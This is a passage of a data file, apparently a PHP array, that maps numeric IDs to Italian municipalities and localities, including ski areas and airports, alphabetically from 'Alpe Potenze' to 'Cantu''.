Potenze\",8558 => \"Alpe Veglia\",8482 => \"Alpet\",178 => \"Alpette\",179 => \"Alpignano\",180 => \"Alseno\",181 => \"Alserio\",182 => \"Altamura\",8474 => \"Altare\",184 => \"Altavilla irpina\",185 => \"Altavilla milicia\",186 => \"Altavilla monferrato\",187 => \"Altavilla silentina\",188 => \"Altavilla vicentina\",189 => \"Altidona\",190 => \"Altilia\",191 => \"Altino\",192 => \"Altissimo\",193 => \"Altivole\",194 => \"Alto\",195 => \"Altofonte\",196 => \"Altomonte\",197 => \"Altopascio\",8536 => \"Altopiano dei Fiorentini\",8662 => \"Altopiano della Sila\",8640 => \"Altopiano di Renon\",198 => \"Alviano\",199 => \"Alvignano\",200 => \"Alvito\",201 => \"Alzano lombardo\",202 => \"Alzano scrivia\",203 => \"Alzate brianza\",204 => \"Amalfi\",205 => \"Amandola\",206 => \"Amantea\",207 => \"Amaro\",208 => \"Amaroni\",209 => \"Amaseno\",210 => \"Amato\",211 => \"Amatrice\",212 => \"Ambivere\",213 => \"Amblar\",214 => \"Ameglia\",215 => \"Amelia\",216 => \"Amendolara\",217 => \"Ameno\",218 => \"Amorosi\",219 => \"Ampezzo\",220 => \"Anacapri\",221 => \"Anagni\",8463 => \"Anagni casello\",222 => \"Ancarano\",223 => \"Ancona\",8267 => \"Ancona Falconara\",224 => \"Andali\",225 => \"Andalo\",226 => \"Andalo valtellino\",227 => \"Andezeno\",228 => \"Andora\",229 => \"Andorno micca\",230 => \"Andrano\",231 => \"Andrate\",232 => \"Andreis\",233 => \"Andretta\",234 => \"Andria\",235 => \"Andriano\",236 => \"Anela\",237 => \"Anfo\",238 => \"Angera\",239 => \"Anghiari\",240 => \"Angiari\",241 => \"Angolo terme\",242 => \"Angri\",243 => \"Angrogna\",244 => \"Anguillara sabazia\",245 => \"Anguillara veneta\",246 => \"Annicco\",247 => \"Annone di brianza\",248 => \"Annone veneto\",249 => \"Anoia\",8302 => \"Antagnod\",250 => \"Antegnate\",251 => \"Anterivo\",8211 => \"Anterselva di Sopra\",252 => \"Antey saint andre'\",253 => \"Anticoli Corrado\",254 => \"Antignano\",255 => \"Antillo\",256 => \"Antonimina\",257 => \"Antrodoco\",258 => \"Antrona Schieranco\",259 => \"Anversa degli Abruzzi\",260 => \"Anzano del Parco\",261 => \"Anzano di Puglia\",8400 => \"Anzi\",263 => \"Anzio\",264 => \"Anzola d'Ossola\",265 => \"Anzola dell'Emilia\",266 => \"Aosta\",8548 => \"Aosta Saint Christophe\",267 => \"Apecchio\",268 => \"Apice\",269 => \"Apiro\",270 => \"Apollosa\",271 => \"Appiano Gentile\",272 => \"Appiano sulla strada del vino\",273 => \"Appignano\",274 => \"Appignano del Tronto\",275 => \"Aprica\",276 => \"Apricale\",277 => \"Apricena\",278 => \"Aprigliano\",279 => \"Aprilia\",280 => \"Aquara\",281 => \"Aquila di Arroscia\",282 => \"Aquileia\",283 => \"Aquilonia\",284 => \"Aquino\",8228 => \"Arabba\",285 => \"Aradeo\",286 => \"Aragona\",287 => \"Aramengo\",288 => \"Arba\",8487 => \"Arbatax\",289 => \"Arborea\",290 => \"Arborio\",291 => \"Arbus\",292 => \"Arcade\",293 => \"Arce\",294 => \"Arcene\",295 => \"Arcevia\",296 => \"Archi\",297 => \"Arcidosso\",298 => \"Arcinazzo romano\",299 => \"Arcisate\",300 => \"Arco\",301 => \"Arcola\",302 => \"Arcole\",303 => \"Arconate\",304 => \"Arcore\",305 => \"Arcugnano\",306 => \"Ardara\",307 => \"Ardauli\",308 => \"Ardea\",309 => \"Ardenno\",310 => \"Ardesio\",311 => \"Ardore\",8675 => \"Ardore Marina\",8321 => \"Aremogna\",312 => \"Arena\",313 => \"Arena po\",314 => \"Arenzano\",315 => \"Arese\",316 => \"Arezzo\",317 => \"Argegno\",318 => \"Argelato\",319 => \"Argenta\",320 => \"Argentera\",321 => \"Arguello\",322 => \"Argusto\",323 => \"Ari\",324 => \"Ariano irpino\",325 => \"Ariano nel polesine\",326 => \"Ariccia\",327 => \"Arielli\",328 => \"Arienzo\",329 => \"Arignano\",330 => \"Aritzo\",331 => \"Arizzano\",332 => \"Arlena di castro\",333 => \"Arluno\",8677 => \"Arma di Taggia\",334 => \"Armeno\",8405 => \"Armento\",336 => \"Armo\",337 => \"Armungia\",338 => \"Arnad\",339 => \"Arnara\",340 => \"Arnasco\",341 => \"Arnesano\",342 => \"Arola\",343 => \"Arona\",344 => \"Arosio\",345 => \"Arpaia\",346 => \"Arpaise\",347 => \"Arpino\",348 => \"Arqua' Petrarca\",349 => \"Arqua' polesine\",350 => \"Arquata del tronto\",351 => \"Arquata scrivia\",352 => \"Arre\",353 => \"Arrone\",354 => \"Arsago Seprio\",355 => \"Arsie'\",356 => \"Arsiero\",357 => \"Arsita\",358 => \"Arsoli\",359 => \"Arta terme\",360 => \"Artegna\",361 => \"Artena\",8338 => \"Artesina\",362 => \"Artogne\",363 => \"Arvier\",364 => \"Arzachena\",365 => \"Arzago d'Adda\",366 => \"Arzana\",367 => \"Arzano\",368 => \"Arzene\",369 => \"Arzergrande\",370 => \"Arzignano\",371 => \"Ascea\",8513 => \"Asciano\",8198 => \"Asciano Pisano\",373 => \"Ascoli piceno\",374 => \"Ascoli satriano\",375 => \"Ascrea\",376 => \"Asiago\",377 => \"Asigliano Veneto\",378 => \"Asigliano vercellese\",379 => \"Asola\",380 => \"Asolo\",8438 => \"Aspio terme\",381 => \"Assago\",382 => \"Assemini\",8488 => \"Assergi\",8448 => \"Assergi casello\",383 => \"Assisi\",384 => \"Asso\",385 => \"Assolo\",386 => \"Assoro\",387 => \"Asti\",388 => \"Asuni\",389 => \"Ateleta\",8383 => \"Atella\",391 => \"Atena lucana\",392 => \"Atessa\",393 => \"Atina\",394 => \"Atrani\",395 => \"Atri\",396 => \"Atripalda\",397 => \"Attigliano\",398 => \"Attimis\",399 => \"Atzara\",400 => \"Auditore\",401 => \"Augusta\",402 => \"Auletta\",403 => \"Aulla\",404 => \"Aurano\",405 => \"Aurigo\",406 => \"Auronzo di cadore\",407 => \"Ausonia\",408 => \"Austis\",409 => \"Avegno\",410 => \"Avelengo\",411 => \"Avella\",412 => \"Avellino\",413 => \"Averara\",414 => \"Aversa\",415 => \"Avetrana\",416 => \"Avezzano\",417 => \"Aviano\",418 => \"Aviatico\",419 => \"Avigliana\",420 => \"Avigliano\",421 => \"Avigliano umbro\",422 => \"Avio\",423 => \"Avise\",424 => \"Avola\",425 => \"Avolasca\",426 => \"Ayas\",427 => \"Aymavilles\",428 => \"Azeglio\",429 => \"Azzanello\",430 => \"Azzano d'Asti\",431 => \"Azzano decimo\",432 => \"Azzano mella\",433 => \"Azzano San Paolo\",434 => \"Azzate\",435 => \"Azzio\",436 => \"Azzone\",437 => \"Baceno\",438 => \"Bacoli\",439 => \"Badalucco\",440 => \"Badesi\",441 => \"Badia\",442 => \"Badia calavena\",443 => \"Badia pavese\",444 => \"Badia polesine\",445 => \"Badia tedalda\",446 => \"Badolato\",447 => \"Bagaladi\",448 => \"Bagheria\",449 => \"Bagnacavallo\",450 => \"Bagnara calabra\",451 => \"Bagnara di romagna\",452 => \"Bagnaria\",453 => \"Bagnaria arsa\",454 => \"Bagnasco\",455 => \"Bagnatica\",456 => \"Bagni di Lucca\",8699 => \"Bagni di Vinadio\",457 => \"Bagno a Ripoli\",458 => \"Bagno di Romagna\",459 => \"Bagnoli del Trigno\",460 => \"Bagnoli di sopra\",461 => \"Bagnoli irpino\",462 => \"Bagnolo cremasco\",463 => \"Bagnolo del salento\",464 => \"Bagnolo di po\",465 => \"Bagnolo in piano\",466 => \"Bagnolo Mella\",467 => \"Bagnolo Piemonte\",468 => \"Bagnolo San Vito\",469 => \"Bagnone\",470 => \"Bagnoregio\",471 => \"Bagolino\",8123 => \"Baia Domizia\",472 => \"Baia e Latina\",473 => \"Baiano\",474 => \"Baiardo\",475 => \"Bairo\",476 => \"Baiso\",477 => \"Balangero\",478 => \"Baldichieri d'Asti\",479 => \"Baldissero canavese\",480 => \"Baldissero d'Alba\",481 => \"Baldissero torinese\",482 => \"Balestrate\",483 => \"Balestrino\",484 => \"Ballabio\",485 => \"Ballao\",486 => \"Balme\",487 => \"Balmuccia\",488 => \"Balocco\",489 => \"Balsorano\",490 => \"Balvano\",491 => \"Balzola\",492 => \"Banari\",493 => \"Banchette\",494 => \"Bannio anzino\",8368 => \"Banzi\",496 => \"Baone\",497 => \"Baradili\",8415 => \"Baragiano\",499 => \"Baranello\",500 => \"Barano d'Ischia\",501 => \"Barasso\",502 => \"Baratili San Pietro\",503 => \"Barbania\",504 => \"Barbara\",505 => \"Barbarano romano\",506 => \"Barbarano vicentino\",507 => \"Barbaresco\",508 => \"Barbariga\",509 => \"Barbata\",510 => \"Barberino di mugello\",511 => \"Barberino val d'elsa\",512 => \"Barbianello\",513 => \"Barbiano\",514 => \"Barbona\",515 => \"Barcellona pozzo di Gotto\",516 => \"Barchi\",517 => \"Barcis\",518 => \"Bard\",519 => \"Bardello\",520 => \"Bardi\",521 => \"Bardineto\",522 => \"Bardolino\",523 => \"Bardonecchia\",524 => \"Bareggio\",525 => \"Barengo\",526 => \"Baressa\",527 => \"Barete\",528 => \"Barga\",529 => \"Bargagli\",530 => \"Barge\",531 => \"Barghe\",532 => \"Bari\",8274 => \"Bari Palese\",533 => \"Bari sardo\",534 => \"Bariano\",535 => \"Baricella\",8402 => \"Barile\",537 => \"Barisciano\",538 => \"Barlassina\",539 => \"Barletta\",540 => \"Barni\",541 => \"Barolo\",542 => \"Barone canavese\",543 => \"Baronissi\",544 => \"Barrafranca\",545 => \"Barrali\",546 => \"Barrea\",8745 => \"Barricata\",547 => \"Barumini\",548 => \"Barzago\",549 => \"Barzana\",550 => \"Barzano'\",551 => \"Barzio\",552 => \"Basaluzzo\",553 => \"Bascape'\",554 => \"Baschi\",555 => \"Basciano\",556 => \"Baselga di Pine'\",557 => \"Baselice\",558 => \"Basiano\",559 => \"Basico'\",560 => \"Basiglio\",561 => \"Basiliano\",562 => \"Bassano bresciano\",563 => \"Bassano del grappa\",564 => \"Bassano in teverina\",565 => \"Bassano romano\",566 => \"Bassiano\",567 => \"Bassignana\",568 => \"Bastia\",569 => \"Bastia mondovi'\",570 => \"Bastida de' Dossi\",571 => \"Bastida pancarana\",572 => \"Bastiglia\",573 => \"Battaglia terme\",574 => \"Battifollo\",575 => \"Battipaglia\",576 => \"Battuda\",577 => \"Baucina\",578 => \"Bauladu\",579 => \"Baunei\",580 => \"Baveno\",581 => \"Bazzano\",582 => \"Bedero valcuvia\",583 => \"Bedizzole\",584 => \"Bedollo\",585 => \"Bedonia\",586 => \"Bedulita\",587 => \"Bee\",588 => \"Beinasco\",589 => \"Beinette\",590 => \"Belcastro\",591 => \"Belfiore\",592 => \"Belforte all'Isauro\",593 => \"Belforte del chienti\",594 => \"Belforte monferrato\",595 => \"Belgioioso\",596 => \"Belgirate\",597 => \"Bella\",598 => \"Bellagio\",8263 => \"Bellamonte\",599 => \"Bellano\",600 => \"Bellante\",601 => \"Bellaria Igea marina\",602 => \"Bellegra\",603 => \"Bellino\",604 => \"Bellinzago lombardo\",605 => \"Bellinzago novarese\",606 => \"Bellizzi\",607 => \"Bellona\",608 => \"Bellosguardo\",609 => \"Belluno\",610 => \"Bellusco\",611 => \"Belmonte calabro\",612 => \"Belmonte castello\",613 => \"Belmonte del sannio\",614 => \"Belmonte in sabina\",615 => \"Belmonte mezzagno\",616 => \"Belmonte piceno\",617 => \"Belpasso\",8573 => \"Belpiano Schoeneben\",618 => \"Belsito\",8265 => \"Belvedere\",619 => \"Belvedere di Spinello\",620 => \"Belvedere langhe\",621 => \"Belvedere marittimo\",622 => \"Belvedere ostrense\",623 => \"Belveglio\",624 => \"Belvi\",625 => \"Bema\",626 => \"Bene lario\",627 => \"Bene vagienna\",628 => \"Benestare\",629 => \"Benetutti\",630 => \"Benevello\",631 => \"Benevento\",632 => \"Benna\",633 => \"Bentivoglio\",634 => \"Berbenno\",635 => \"Berbenno di valtellina\",636 => \"Berceto\",637 => \"Berchidda\",638 => \"Beregazzo con Figliaro\",639 => \"Bereguardo\",640 => \"Bergamasco\",641 => \"Bergamo\",8519 => \"Bergamo città alta\",8497 => \"Bergamo Orio al Serio\",642 => \"Bergantino\",643 => \"Bergeggi\",644 => \"Bergolo\",645 => \"Berlingo\",646 => \"Bernalda\",647 => \"Bernareggio\",648 => \"Bernate ticino\",649 => \"Bernezzo\",650 => \"Berra\",651 => \"Bersone\",652 => \"Bertinoro\",653 => \"Bertiolo\",654 => \"Bertonico\",655 => \"Berzano di San Pietro\",656 => \"Berzano di Tortona\",657 => \"Berzo Demo\",658 => \"Berzo inferiore\",659 => \"Berzo San Fermo\",660 => \"Besana in brianza\",661 => \"Besano\",662 => \"Besate\",663 => \"Besenello\",664 => \"Besenzone\",665 => \"Besnate\",666 => \"Besozzo\",667 => \"Bessude\",668 => \"Bettola\",669 => \"Bettona\",670 => \"Beura Cardezza\",671 => \"Bevagna\",672 => \"Beverino\",673 => \"Bevilacqua\",674 => \"Bezzecca\",675 => \"Biancavilla\",676 => \"Bianchi\",677 => \"Bianco\",678 => \"Biandrate\",679 => \"Biandronno\",680 => \"Bianzano\",681 => \"Bianze'\",682 => \"Bianzone\",683 => \"Biassono\",684 => \"Bibbiano\",685 => \"Bibbiena\",686 => \"Bibbona\",687 => \"Bibiana\",8230 => \"Bibione\",688 => \"Biccari\",689 => \"Bicinicco\",690 => \"Bidoni'\",691 => \"Biella\",8163 => \"Bielmonte\",692 => \"Bienno\",693 => \"Bieno\",694 => \"Bientina\",695 => \"Bigarello\",696 => \"Binago\",697 => \"Binasco\",698 => \"Binetto\",699 => \"Bioglio\",700 => \"Bionaz\",701 => \"Bione\",702 => \"Birori\",703 => \"Bisaccia\",704 => \"Bisacquino\",705 => \"Bisceglie\",706 => \"Bisegna\",707 => \"Bisenti\",708 => \"Bisignano\",709 => \"Bistagno\",710 => \"Bisuschio\",711 => \"Bitetto\",712 => \"Bitonto\",713 => \"Bitritto\",714 => \"Bitti\",715 => \"Bivona\",716 => \"Bivongi\",717 => \"Bizzarone\",718 => \"Bleggio inferiore\",719 => \"Bleggio superiore\",720 => \"Blello\",721 => \"Blera\",722 => \"Blessagno\",723 => \"Blevio\",724 => \"Blufi\",725 => \"Boara Pisani\",726 => \"Bobbio\",727 => \"Bobbio Pellice\",728 => \"Boca\",8501 => \"Bocca di Magra\",729 => \"Bocchigliero\",730 => \"Boccioleto\",731 => \"Bocenago\",732 => \"Bodio Lomnago\",733 => \"Boffalora d'Adda\",734 => \"Boffalora sopra Ticino\",735 => \"Bogliasco\",736 => \"Bognanco\",8287 => \"Bognanco fonti\",737 => \"Bogogno\",738 => \"Boissano\",739 => \"Bojano\",740 => \"Bolano\",741 => \"Bolbeno\",742 => \"Bolgare\",743 => \"Bollate\",744 => \"Bollengo\",745 => \"Bologna\",8476 => \"Bologna Borgo Panigale\",746 => \"Bolognano\",747 => \"Bolognetta\",748 => \"Bolognola\",749 => \"Bolotana\",750 => \"Bolsena\",751 => \"Boltiere\",8505 => \"Bolzaneto\",752 => \"Bolzano\",753 => \"Bolzano novarese\",754 => \"Bolzano vicentino\",755 => \"Bomarzo\",756 => \"Bomba\",757 => \"Bompensiere\",758 => \"Bompietro\",759 => \"Bomporto\",760 => \"Bonarcado\",761 => \"Bonassola\",762 => \"Bonate sopra\",763 => \"Bonate sotto\",764 => \"Bonavigo\",765 => \"Bondeno\",766 => \"Bondo\",767 => \"Bondone\",768 => \"Bonea\",769 => \"Bonefro\",770 => \"Bonemerse\",771 => \"Bonifati\",772 => \"Bonito\",773 => \"Bonnanaro\",774 => \"Bono\",775 => \"Bonorva\",776 => \"Bonvicino\",777 => \"Borbona\",778 => \"Borca di cadore\",779 => \"Bordano\",780 => \"Bordighera\",781 => \"Bordolano\",782 => \"Bore\",783 => \"Boretto\",784 => \"Borgarello\",785 => \"Borgaro torinese\",786 => \"Borgetto\",787 => \"Borghetto d'arroscia\",788 => \"Borghetto di borbera\",789 => \"Borghetto di vara\",790 => \"Borghetto lodigiano\",791 => \"Borghetto Santo Spirito\",792 => \"Borghi\",793 => \"Borgia\",794 => \"Borgiallo\",795 => \"Borgio Verezzi\",796 => \"Borgo a Mozzano\",797 => \"Borgo d'Ale\",798 => \"Borgo di Terzo\",8159 => \"Borgo d`Ale\",799 => \"Borgo Pace\",800 => \"Borgo Priolo\",801 => \"Borgo San Dalmazzo\",802 => \"Borgo San Giacomo\",803 => \"Borgo San Giovanni\",804 => \"Borgo San Lorenzo\",805 => \"Borgo San Martino\",806 => \"Borgo San Siro\",807 => \"Borgo Ticino\",808 => \"Borgo Tossignano\",809 => \"Borgo Val di Taro\",810 => \"Borgo Valsugana\",811 => \"Borgo Velino\",812 => \"Borgo Vercelli\",813 => \"Borgoforte\",814 => \"Borgofranco d'Ivrea\",815 => \"Borgofranco sul Po\",816 => \"Borgolavezzaro\",817 => \"Borgomale\",818 => \"Borgomanero\",819 => \"Borgomaro\",820 => \"Borgomasino\",821 => \"Borgone susa\",822 => \"Borgonovo val tidone\",823 => \"Borgoratto alessandrino\",824 => \"Borgoratto mormorolo\",825 => \"Borgoricco\",826 => \"Borgorose\",827 => \"Borgosatollo\",828 => \"Borgosesia\",829 => \"Bormida\",830 => \"Bormio\",8334 => \"Bormio 2000\",8335 => \"Bormio 3000\",831 => \"Bornasco\",832 => \"Borno\",833 => \"Boroneddu\",834 => \"Borore\",835 => \"Borrello\",836 => \"Borriana\",837 => \"Borso del Grappa\",838 => \"Bortigali\",839 => \"Bortigiadas\",840 => \"Borutta\",841 => \"Borzonasca\",842 => \"Bosa\",843 => \"Bosaro\",844 => \"Boschi Sant'Anna\",845 => \"Bosco Chiesanuova\",846 => \"Bosco Marengo\",847 => \"Bosconero\",848 => \"Boscoreale\",849 => \"Boscotrecase\",850 => \"Bosentino\",851 => \"Bosia\",852 => \"Bosio\",853 => \"Bosisio Parini\",854 => \"Bosnasco\",855 => \"Bossico\",856 => \"Bossolasco\",857 => \"Botricello\",858 => \"Botrugno\",859 => \"Bottanuco\",860 => \"Botticino\",861 => \"Bottidda\",8655 => \"Bourg San Bernard\",862 => \"Bova\",863 => \"Bova marina\",864 => \"Bovalino\",865 => \"Bovegno\",866 => \"Boves\",867 => \"Bovezzo\",868 => \"Boville Ernica\",869 => \"Bovino\",870 => \"Bovisio Masciago\",871 => \"Bovolenta\",872 => \"Bovolone\",873 => \"Bozzole\",874 => \"Bozzolo\",875 => \"Bra\",876 => \"Bracca\",877 => \"Bracciano\",878 => \"Bracigliano\",879 => \"Braies\",880 => \"Brallo di Pregola\",881 => \"Brancaleone\",882 => \"Brandico\",883 => \"Brandizzo\",884 => \"Branzi\",885 => \"Braone\",8740 => \"Bratto\",886 => \"Brebbia\",887 => \"Breda di Piave\",888 => \"Bregano\",889 => \"Breganze\",890 => \"Bregnano\",891 => \"Breguzzo\",892 => \"Breia\",8724 => \"Breithorn\",893 => \"Brembate\",894 => \"Brembate di sopra\",895 => \"Brembilla\",896 => \"Brembio\",897 => \"Breme\",898 => \"Brendola\",899 => \"Brenna\",900 => \"Brennero\",901 => \"Breno\",902 => \"Brenta\",903 => \"Brentino Belluno\",904 => \"Brentonico\",905 => \"Brenzone\",906 => \"Brescello\",907 => \"Brescia\",8547 => \"Brescia Montichiari\",908 => \"Bresimo\",909 => \"Bressana Bottarone\",910 => \"Bressanone\",911 => \"Bressanvido\",912 => \"Bresso\",8226 => \"Breuil-Cervinia\",913 => \"Brez\",914 => \"Brezzo di Bedero\",915 => \"Briaglia\",916 => \"Briatico\",917 => \"Bricherasio\",918 => \"Brienno\",919 => \"Brienza\",920 => \"Briga alta\",921 => \"Briga novarese\",923 => \"Brignano Frascata\",922 => \"Brignano Gera d'Adda\",924 => \"Brindisi\",8358 => \"Brindisi montagna\",8549 => \"Brindisi Papola Casale\",926 => \"Brinzio\",927 => \"Briona\",928 => \"Brione\",929 => \"Brione\",930 => \"Briosco\",931 => \"Brisighella\",932 => \"Brissago valtravaglia\",933 => \"Brissogne\",934 => \"Brittoli\",935 => \"Brivio\",936 => \"Broccostella\",937 => \"Brogliano\",938 => \"Brognaturo\",939 => \"Brolo\",940 => \"Brondello\",941 => \"Broni\",942 => \"Bronte\",943 => \"Bronzolo\",944 => \"Brossasco\",945 => \"Brosso\",946 => \"Brovello Carpugnino\",947 => \"Brozolo\",948 => \"Brugherio\",949 => \"Brugine\",950 => \"Brugnato\",951 => \"Brugnera\",952 => \"Bruino\",953 => \"Brumano\",954 => \"Brunate\",955 => \"Brunello\",956 => \"Brunico\",957 => \"Bruno\",958 => \"Brusaporto\",959 => \"Brusasco\",960 => \"Brusciano\",961 => \"Brusimpiano\",962 => \"Brusnengo\",963 => \"Brusson\",8645 => \"Brusson 2000 Estoul\",964 => \"Bruzolo\",965 => \"Bruzzano Zeffirio\",966 => \"Bubbiano\",967 => \"Bubbio\",968 => \"Buccheri\",969 => \"Bucchianico\",970 => \"Bucciano\",971 => \"Buccinasco\",972 => \"Buccino\",973 => \"Bucine\",974 => \"Budduso'\",975 => \"Budoia\",976 => \"Budoni\",977 => \"Budrio\",978 => \"Buggerru\",979 => \"Buggiano\",980 => \"Buglio in Monte\",981 => \"Bugnara\",982 => \"Buguggiate\",983 => \"Buia\",984 => \"Bulciago\",985 => \"Bulgarograsso\",986 => \"Bultei\",987 => \"Bulzi\",988 => \"Buonabitacolo\",989 => \"Buonalbergo\",990 => \"Buonconvento\",991 => \"Buonvicino\",992 => \"Burago di Molgora\",993 => \"Burcei\",994 => \"Burgio\",995 => \"Burgos\",996 => \"Buriasco\",997 => \"Burolo\",998 => \"Buronzo\",8483 => \"Burrino\",999 => \"Busachi\",1000 => \"Busalla\",1001 => \"Busana\",1002 => \"Busano\",1003 => \"Busca\",1004 => \"Buscate\",1005 => \"Buscemi\",1006 => \"Buseto Palizzolo\",1007 => \"Busnago\",1008 => \"Bussero\",1009 => \"Busseto\",1010 => \"Bussi sul Tirino\",1011 => \"Busso\",1012 => \"Bussolengo\",1013 => \"Bussoleno\",1014 => \"Busto Arsizio\",1015 => \"Busto Garolfo\",1016 => \"Butera\",1017 => \"Buti\",1018 => \"Buttapietra\",1019 => \"Buttigliera alta\",1020 => \"Buttigliera d'Asti\",1021 => \"Buttrio\",1022 => \"Ca' d'Andrea\",1023 => \"Cabella ligure\",1024 => \"Cabiate\",1025 => \"Cabras\",1026 => \"Caccamo\",1027 => \"Caccuri\",1028 => \"Cadegliano Viconago\",1029 => \"Cadelbosco di sopra\",1030 => \"Cadeo\",1031 => \"Caderzone\",8566 => \"Cadipietra\",1032 => \"Cadoneghe\",1033 => \"Cadorago\",1034 => \"Cadrezzate\",1035 => \"Caerano di San Marco\",1036 => \"Cafasse\",1037 => \"Caggiano\",1038 => \"Cagli\",1039 => \"Cagliari\",8500 => \"Cagliari Elmas\",1040 => \"Caglio\",1041 => \"Cagnano Amiterno\",1042 => \"Cagnano Varano\",1043 => \"Cagno\",1044 => \"Cagno'\",1045 => \"Caianello\",1046 => \"Caiazzo\",1047 => \"Caines\",1048 => \"Caino\",1049 => \"Caiolo\",1050 => \"Cairano\",1051 => \"Cairate\",1052 => \"Cairo Montenotte\",1053 => \"Caivano\",8168 => \"Cala Gonone\",1054 => \"Calabritto\",1055 => \"Calalzo di cadore\",1056 => \"Calamandrana\",1057 => \"Calamonaci\",1058 => \"Calangianus\",1059 => \"Calanna\",1060 => \"Calasca Castiglione\",1061 => \"Calascibetta\",1062 => \"Calascio\",1063 => \"Calasetta\",1064 => \"Calatabiano\",1065 => \"Calatafimi\",1066 => \"Calavino\",1067 => \"Calcata\",1068 => \"Calceranica al lago\",1069 => \"Calci\",8424 => \"Calciano\",1071 => \"Calcinaia\",1072 => \"Calcinate\",1073 => \"Calcinato\",1074 => \"Calcio\",1075 => \"Calco\",1076 => \"Caldaro sulla strada del vino\",1077 => \"Caldarola\",1078 => \"Calderara di Reno\",1079 => \"Caldes\",1080 => \"Caldiero\",1081 => \"Caldogno\",1082 => \"Caldonazzo\",1083 => \"Calendasco\",8614 => \"Calenella\",1084 => \"Calenzano\",1085 => \"Calestano\",1086 => \"Calice al Cornoviglio\",1087 => \"Calice ligure\",8692 => \"California di Lesmo\",1088 => \"Calimera\",1089 => \"Calitri\",1090 => \"Calizzano\",1091 => \"Callabiana\",1092 => \"Calliano\",1093 => \"Calliano\",1094 => \"Calolziocorte\",1095 => \"Calopezzati\",1096 => \"Calosso\",1097 => \"Caloveto\",1098 => \"Caltabellotta\",1099 => \"Caltagirone\",1100 => \"Caltanissetta\",1101 => \"Caltavuturo\",1102 => \"Caltignaga\",1103 => \"Calto\",1104 => \"Caltrano\",1105 => \"Calusco d'Adda\",1106 => \"Caluso\",1107 => \"Calvagese della Riviera\",1108 => \"Calvanico\",1109 => \"Calvatone\",8406 => \"Calvello\",1111 => \"Calvene\",1112 => \"Calvenzano\",8373 => \"Calvera\",1114 => \"Calvi\",1115 => \"Calvi dell'Umbria\",1116 => \"Calvi risorta\",1117 => \"Calvignano\",1118 => \"Calvignasco\",1119 => \"Calvisano\",1120 => \"Calvizzano\",1121 => \"Camagna monferrato\",1122 => \"Camaiore\",1123 => \"Camairago\",1124 => \"Camandona\",1125 => \"Camastra\",1126 => \"Cambiago\",1127 => \"Cambiano\",1128 => \"Cambiasca\",1129 => \"Camburzano\",1130 => \"Camerana\",1131 => \"Camerano\",1132 => \"Camerano Casasco\",1133 => \"Camerata Cornello\",1134 => \"Camerata Nuova\",1135 => \"Camerata picena\",1136 => \"Cameri\",1137 => \"Camerino\",1138 => \"Camerota\",1139 => \"Camigliano\",8119 => \"Camigliatello silano\",1140 => \"Caminata\",1141 => \"Camini\",1142 => \"Camino\",1143 => \"Camino al Tagliamento\",1144 => \"Camisano\",1145 => \"Camisano vicentino\",1146 => \"Cammarata\",1147 => \"Camo\",1148 => \"Camogli\",1149 => \"Campagna\",1150 => \"Campagna Lupia\",1151 => \"Campagnano di Roma\",1152 => \"Campagnatico\",1153 => \"Campagnola cremasca\",1154 => \"Campagnola emilia\",1155 => \"Campana\",1156 => \"Camparada\",1157 => \"Campegine\",1158 => \"Campello sul Clitunno\",1159 => \"Campertogno\",1160 => \"Campi Bisenzio\",1161 => \"Campi salentina\",1162 => \"Campiglia cervo\",1163 => \"Campiglia dei Berici\",1164 => \"Campiglia marittima\",1165 => \"Campiglione Fenile\",8127 => \"Campigna\",1166 => \"Campione d'Italia\",1167 => \"Campitello di Fassa\",8155 => \"Campitello matese\",1168 => \"Campli\",1169 => \"Campo calabro\",8754 => \"Campo Carlo Magno\",8134 => \"Campo Catino\",8610 => \"Campo Cecina\",1170 => \"Campo di Giove\",1171 => \"Campo di Trens\",8345 => \"Campo Felice\",8101 => \"Campo imperatore\",1172 => \"Campo ligure\",1173 => \"Campo nell'Elba\",1174 => \"Campo San Martino\",8135 => \"Campo Staffi\",8644 => \"Campo Tenese\",1175 => \"Campo Tures\",1176 => \"Campobasso\",1177 => \"Campobello di Licata\",1178 => \"Campobello di Mazara\",1179 => \"Campochiaro\",1180 => \"Campodarsego\",1181 => \"Campodenno\",8357 => \"Campodimele\",1183 => \"Campodipietra\",1184 => \"Campodolcino\",1185 => \"Campodoro\",1186 => \"Campofelice di Fitalia\",1187 => \"Campofelice di Roccella\",1188 => \"Campofilone\",1189 => \"Campofiorito\",1190 => \"Campoformido\",1191 => \"Campofranco\",1192 => \"Campogalliano\",1193 => \"Campolattaro\",1194 => \"Campoli Appennino\",1195 => \"Campoli del Monte Taburno\",1196 => \"Campolieto\",1197 => \"Campolongo al Torre\",1198 => \"Campolongo Maggiore\",1199 => \"Campolongo sul Brenta\",8391 => \"Campomaggiore\",1201 => \"Campomarino\",1202 => \"Campomorone\",1203 => \"Camponogara\",1204 => \"Campora\",1205 => \"Camporeale\",1206 => \"Camporgiano\",1207 => \"Camporosso\",1208 => \"Camporotondo di Fiastrone\",1209 => \"Camporotondo etneo\",1210 => \"Camposampiero\",1211 => \"Camposano\",1212 => \"Camposanto\",1213 => \"Campospinoso\",1214 => \"Campotosto\",1215 => \"Camugnano\",1216 => \"Canal San Bovo\",1217 => \"Canale\",1218 => \"Canale d'Agordo\",1219 => \"Canale Monterano\",1220 => \"Canaro\",1221 => \"Canazei\",8407 => \"Cancellara\",1223 => \"Cancello ed Arnone\",1224 => \"Canda\",1225 => \"Candela\",8468 => \"Candela casello\",1226 => \"Candelo\",1227 => \"Candia canavese\",1228 => \"Candia lomellina\",1229 => \"Candiana\",1230 => \"Candida\",1231 => \"Candidoni\",1232 => \"Candiolo\",1233 => \"Canegrate\",1234 => \"Canelli\",1235 => \"Canepina\",1236 => \"Caneva\",8562 => \"Canevare di Fanano\",1237 => \"Canevino\",1238 => \"Canicatti'\",1239 => \"Canicattini Bagni\",1240 => \"Canino\",1241 => \"Canischio\",1242 => \"Canistro\",1243 => \"Canna\",1244 => \"Cannalonga\",1245 => \"Cannara\",1246 => \"Cannero riviera\",1247 => \"Canneto pavese\",1248 => \"Canneto sull'Oglio\",8588 => \"Cannigione\",1249 => \"Cannobio\",1250 => \"Cannole\",1251 => \"Canolo\",1252 => \"Canonica d'Adda\",1253 => \"Canosa di Puglia\",1254 => \"Canosa sannita\",1255 => \"Canosio\",1256 => \"Canossa\",1257 => \"Cansano\",1258 => \"Cantagallo\",1259 => \"Cantalice\",1260 => \"Cantalupa\",1261 => \"Cantalupo in Sabina\",1262 => \"Cantalupo ligure\",1263 => \"Cantalupo nel Sannio\",1264 => \"Cantarana\",1265 => \"Cantello\",1266 => \"Canterano\",1267 => \"Cantiano\",1268 => \"Cantoira\",1269 => \"Cantu'\",1270 => 